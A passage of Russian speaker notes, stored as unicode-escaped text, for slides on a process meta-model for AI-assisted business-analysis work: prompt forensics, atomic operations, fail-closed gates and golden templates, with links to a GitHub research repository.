\u043f\u0440\u043e\u0433\u043e\u043d \u0441\u0442\u0430\u043b\u0438 \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443: \u0432\u0445\u043e\u0434, \u0432\u044b\u0445\u043e\u0434, \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c, \u043c\u0435\u0442\u0440\u0438\u043a\u0438.\\n- \u0412 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u0435 \u043f\u0440\u043e\u0432\u0435\u043b\u0438 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0443. \u0412\u044b\u044f\u0441\u043d\u0438\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0442\u0440\u0438 \u0440\u0435\u0436\u0438\u043c\u0430 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u2014\\n  \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0439, \u043e\u0434\u043d\u0438\u043c \u0432\u044b\u0437\u043e\u0432\u043e\u043c \u0438 \u0441\u0442\u0430\u0440\u044b\u0439 \u2014 \u043f\u043e\u0447\u0442\u0438 \u043d\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u043f\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435:\\n  [0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md).\\n  \u0410 \u0438\u0437 12 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0443\u0436\u043d\u044b \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u2014 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u0445\u043e\u0434,\\n  \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442, \u0433\u0435\u0439\u0442 \u2014 10\\n  [\u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md)\\n  \u0438\u0437 24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432.\\n- \u0412\u044b\u0432\u043e\u0434 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438: \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u2014 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 \u043a \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c, \u0433\u0440\u0430\u043d\u0438\u0446\u044b\\n  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438, \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u2014 \u043f\u0440\u043e\u043c\u043f\u0442-\u043f\u0440\u0430\u0432\u043a\u0430\u043c\u0438 \u043d\u0435\\n  \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u0442\u0430\u043a:** \u043f\u0440\u043e\u043c\u043f\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0444\u043e\u0440\u043c\u043e\u0439 \u0442\u0435\u043a\u0441\u0442\u0430. \u041e\u0442\u043a\u0430\u0437\u044b \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u044e\u0442 \u0440\u0430\u043d\u044c\u0448\u0435\\n\u0442\u0435\u043a\u0441\u0442\u0430: \u043d\u0430 \u0432\u044b\u0431\u043e\u0440\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n[ADR-014](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md)\\n\u0437\u0430\u043f\u0438\u0441\u0430\u043b \u043f\u0440\u0430\u0432\u0438\u043b\u043e: \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u043d\u043e\u0440\u043c\u0430. \u0421\u0442\u0430\u0440\u044b\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u043c\u044b \u043d\u0435\\n\u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c, \u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u043a\u0430\u043a \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0431\u0430\u0437\u0443.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0415\u0441\u043b\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430 \u2014 \u0437\u043d\u0430\u0447\u0438\u0442, \u043d\u0443\u0436\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u0442\u044c, \u0447\u0442\u043e\\n\u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430. \u042d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 5. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u0411\u0410 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0434\u0430\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443, \u043d\u0435 \u0443\u0442\u043e\u043f\u0438\u0432 \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u0445. \u0418\u0437 11\\n\u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0430 \u0441\u043b\u0430\u0439\u0434\u0435 \u2014 \u0447\u0435\u0442\u044b\u0440\u0435 \u0443\u0440\u043e\u0432\u043d\u044f \u0438 \u0447\u0435\u0442\u044b\u0440\u0435 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0420\u0430\u0431\u043e\u0442\u0430 \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u0432\u0435\u0440\u0445\u0443 \u0432\u043d\u0438\u0437: **\u043f\u0440\u043e\u0434\u0443\u043a\u0442 \u2192 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u2192 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2192\\n  \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442**. \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u043d\u0430\u0432\u044b\u043a\u043e\u0432, \u043d\u0430\u0432\u044b\u043a \u2014 \u0438\u0437 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439.\\n- \u0421\u043b\u043e\u0432\u0430\u0440\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u044b: 33 \u043d\u0430\u0432\u044b\u043a\u0430, 31 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f. \u0415\u0441\u043b\u0438 \u043d\u0443\u0436\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0442, \u044d\u0442\u043e\\n  \u043e\u0442\u043a\u0430\u0437 \u0438 \u0437\u0430\u0434\u0430\u0447\u0430 \u043d\u0430 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f, \u0430 \u043d\u0435 \u0438\u043c\u043f\u0440\u043e\u0432\u0438\u0437\u0430\u0446\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438.\\n- \u0417\u0430\u043a\u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0441\u043b\u0435\u0432\u0430 \u043d\u0430\u043f\u0440\u0430\u0432\u043e: \u0438\u0437 \u0432\u0445\u043e\u0434\u0430, \u0434\u043b\u044f \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e\\n  \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043e\u0434\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0435\u0439, \u043e\u0434\u043d\u0438\u043c \u0430\u043a\u0442\u043e\u0440\u043e\u043c \u2014 \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0438\\n  \u0433\u0435\u0439\u0442 \u2014 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u0432\u044b\u0445\u043e\u0434 \u0441\u043e \u0441\u043b\u0435\u0434\u043e\u043c \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f.\\n- \u0427\u0435\u0442\u044b\u0440\u0435\\n  [\u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md)\\n  \u2014 \u043e\u0442\u0432\u0435\u0442\u044b \u043d\u0430 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0434\u0435\u0444\u0435\u043a\u0442\u044b. \u041d\u0435\u0442 \u0448\u0430\u0433\u0430 \u0431\u0435\u0437 \u0432\u0445\u043e\u0434\u0430 \u2014 \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e 50 \u0438\u0437 67\\n  \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0432\u0445\u043e\u0434\u0430 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u043b\u0438. \u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u0448\u0430\u0433\u0430 \u2014 \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\\n  \u043b\u0435\u043a\u0441\u0438\u043a\u0430 \u0437\u0430\u0434\u0430\u0447\u0438 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0431\u043e\u043b\u044c\u0448\u0435 \u0447\u0435\u043c \u043d\u0430 \u043e\u0434\u0438\u043d \u0434\u043e\u043c\u0435\u043d \u0432 66 \u0438\u0437 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432.\\n\\n**\u041a\u0430\u043a:** \u043a\u0430\u0436\u0434\u044b\u0439 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0430\u0448\u0438\u043d\u043e\u0439. \u0414\u0432\u0430 \u2014 \u043f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0448\u0430\u0433\u0430, \u0434\u0432\u0430 \u2014\\n\u043f\u043e\u0441\u0442\u0443\u0441\u043b\u043e\u0432\u0438\u044f.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0421\u0430\u043c\u043e\u0435 \u0432\u0430\u0436\u043d\u043e\u0435 \u043d\u0430 \u044d\u0442\u043e\u0439 \u0441\u0445\u0435\u043c\u0435 \u2014 \u043d\u0438\u0436\u043d\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c, \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f. \u0418\u043c\u0435\u043d\u043d\u043e\\n\u0442\u0430\u043c \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u0451\u043b \u043f\u0440\u043e\u0440\u044b\u0432\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 6. \u041c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0441\u043b\u044c: \u043c\u044b \u043e\u0446\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e \u0438 \u0441\u0442\u0430\u0432\u0438\u043c \u043d\u0430 \u0435\u0451 \u0432\u044b\u0445\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 3 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0433\u043b\u0430\u0432\u043d\u044b\u0439 \u0441\u043b\u0430\u0439\u0434. \u041f\u043e\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043c\u044b \u0434\u0435\u043b\u0430\u0435\u043c\\n\u0438\u043d\u0430\u0447\u0435 \u0438 \u043f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0442\u0430\u043c, \u0433\u0434\u0435 \u043f\u0440\u043e\u043c\u043f\u0442 \u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430: \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0430\u044f \u0440\u0430\u0431\u043e\u0442\u0430 \u0411\u0410 \u043f\u043b\u043e\u0445\u043e \u043f\u043e\u0434\u0434\u0430\u0451\u0442\u0441\u044f \u043f\u0440\u044f\u043c\u043e\u0439 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438. \u041b\u0443\u0447\u0448\u0435\u0435\\n  \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u2014\\n  [RUN-0018](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/40-practice-and-cases.md).\\n  \u0421\u0442\u0440\u043e\u0433\u0438\u0439 \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442, \u0432\u043e\u0441\u0435\u043c\u044c \u0448\u0430\u0433\u043e\u0432, \u0432 \u043a\u0430\u0436\u0434\u043e\u043c \u0441\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430. \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u2014\\n  8 \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u0439, \u043e\u0434\u043d\u0430 \u0434\u043e\u0448\u043b\u0430 \u0434\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430. \u0412\u044b\u0432\u043e\u0434 \u0441\u0430\u043c\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430: \u00ab\u041c\u0435\u0445\u0430\u043d\u0438\u043a\u0430\\n  \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0430, \u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u043d\u043e\u0441\u0442\u044c \u0444\u0430\u043a\u0442\u043e\u0432 \u043d\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0430\u00bb.\\n- \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043c\u044b \u0440\u0430\u0437\u043b\u043e\u0436\u0438\u043b\u0438 \u0440\u0430\u0431\u043e\u0442\u0443 \u043d\u0430\\n  [31 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/operation-taxonomy/10-theory.md)\\n  \u0432 \u043f\u044f\u0442\u0438 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u0430\u0445. \u041a\u043b\u0430\u0441\u0441 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u0442\u0435\u043c, \u043e\u0442\u043a\u0443\u0434\u0430 \u0431\u0435\u0440\u0451\u0442\u0441\u044f\\n  \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u0432\u044b\u0445\u043e\u0434\u0430.\\n- \u041a\u043b\u0430\u0441\u0441 \u0437\u0430\u0434\u0430\u0451\u0442 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f. \u0418\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0441\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c.\\n  \u041f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u0441\u043e \u0441\u0445\u0435\u043c\u043e\u0439. \u041f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u0435, \u0433\u0434\u0435 \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u043e\u0432\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435,\\n  \u0438\u0434\u0451\u0442 \u0447\u0435\u0440\u0435\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430. \u0412\u044b\u0431\u043e\u0440 \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d.\\n- \u041f\u043e\u0432\u0435\u0440\u0445 \u2014 fail-closed. \u041d\u0435\u0442 \u0432\u0445\u043e\u0434\u0430, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u0438\u043b\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u2014 \u0448\u0430\u0433\\n  \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0438 \u0437\u0430\u0434\u0430\u0451\u0442 \u0432\u043e\u043f\u0440\u043e\u0441. \u041f\u0443\u0441\u0442\u043e\u0439 \u0441\u043b\u043e\u0442 \u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u043b\u0443\u0447\u0448\u0435\\n  \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f.\\n- \u042d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435: RUN-0059 \u0441 \u0442\u0430\u043a\u0438\u043c \u043f\u0440\u0430\u0432\u0438\u043b\u043e\u043c \u043d\u0435 \u043f\u0440\u0438\u0434\u0443\u043c\u0430\u043b\\n  \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 endpoint'\u044b Mango, \u0430 \u043e\u0441\u0442\u0430\u0432\u0438\u043b \u043f\u0440\u043e\u0431\u0435\u043b. RUN-0060 \u0434\u0430\u043b 101\\n  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044e \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u043f\u0440\u043e\u0440\u044b\u0432, \u0430 \u043d\u0435 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e:** \u043c\u044b \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u0438 \u0441\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0442\u044c \u0443\\n\u043c\u043e\u0434\u0435\u043b\u0438, \u0445\u043e\u0440\u043e\u0448 \u043b\u0438 \u0435\u0451 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442. \u0421\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u043b\u043e\u0432\u0438\u0442 \u043e\u0448\u0438\u0431\u043a\u0443,\\n\u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u044b\u0440\u043e\u0441\u043b\u0430 \u0438\u0437 \u0435\u0451 \u0436\u0435 \u043b\u043e\u0436\u043d\u043e\u0433\u043e \u0443\u0431\u0435\u0436\u0434\u0435\u043d\u0438\u044f. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043e\u0442\u0434\u0435\u043b\u0435\u043d\u0430 \u043e\u0442\\n\u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u0438 \u0432\u044b\u0431\u0440\u0430\u043d\u0430 \u043f\u043e \u0442\u0438\u043f\u0443 \u0440\u0430\u0431\u043e\u0442\u044b.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0418\u0437 \u044d\u0442\u0438\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440. \u041f\u043e\u043a\u0430\u0436\u0443 \u0435\u0433\u043e \u0446\u0435\u043b\u0438\u043a\u043e\u043c \u0438\\n\u0441\u0440\u0430\u0437\u0443 \u0441\u043a\u0430\u0436\u0443, \u0447\u0442\u043e \u0432 \u043d\u0451\u043c \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u0430 \u0447\u0442\u043e \u043f\u043e\u043a\u0430 \u043d\u0435\u0442\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 7. \u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0441\u044b\u0440\u043e\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0437\u0430 \u043f\u044f\u0442\u044c \u0448\u0430\u0433\u043e\u0432 \u0438 \u0434\u0432\u0430 \u0433\u0435\u0439\u0442\u0430\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0438 \u0447\u0435\u0441\u0442\u043d\u043e \u0440\u0430\u0437\u043c\u0435\u0442\u0438\u0442\u044c\\n\u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u044c \u044d\u0442\u0430\u043f\u043e\u0432.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f: \u0442\u0440\u0430\u043d\u0441\u043a\u0440\u0438\u043f\u0442 \u0432\u0441\u0442\u0440\u0435\u0447\u0438 \u0438 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u043a\u0430 \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442\u0441\u044f \u043a \u0432\u0445\u043e\u0434\u043d\u043e\u043c\u0443\\n  \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443. \u0411\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0448\u0430\u0433 \u043d\u0435 \u0441\u0442\u0430\u0440\u0442\u0443\u0435\u0442.\\n- \u0421\u0432\u0435\u0440\u043a\u0430: \u043a\u0430\u0436\u0434\u044b\u0439 \u0444\u0430\u043a\u0442 \u043f\u0440\u0438\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u0438\u043b\u0438 \u043a\u0435\u0439\u0441\u0443. \u041d\u0435\u044f\u0441\u043d\u043e\u0441\u0442\u044c\\n  \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 \u0432\u043e\u043f\u0440\u043e\u0441 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0443, \u0430 \u043d\u0435 \u0432 \u0434\u043e\u043f\u0443\u0449\u0435\u043d\u0438\u0435.\\n- \u0413\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u043e \u0437\u043e\u043b\u043e\u0442\u043e\u043c\u0443 \u0448\u0430\u0431\u043b\u043e\u043d\u0443. \u041c\u044b\\n  [\u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043b\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md):\\n  \u043e\u0434\u043d\u0430 \u0444\u043e\u0440\u043c\u0430 BCREQ \u0438\u0437 7 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f API, \u043b\u0438\u0447\u043d\u043e\u0433\u043e \u043a\u0430\u0431\u0438\u043d\u0435\u0442\u0430 \u0438\\n  \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0430. \u0414\u043b\u044f \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0430 \u0432 \u043f\u0430\u043a\u0435\u0442\u0435 2 \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0438 4\\n  \u043e\u0442\u0440\u0438\u0446\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445\\n  [\u0437\u043e\u043b\u043e\u0442\u044b\u0445 \u043a\u0435\u0439\u0441\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/golden)\\n  \u2014 \u043d\u0430 \u0442\u0438\u043f\u043e\u0432\u044b\u0435 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u044b \u0432\u0440\u043e\u0434\u0435 SLA \u0438 AHT.\\n- \u0413\u0435\u0439\u0442\u044b: \u043c\u0430\u0448\u0438\u043d\u0430 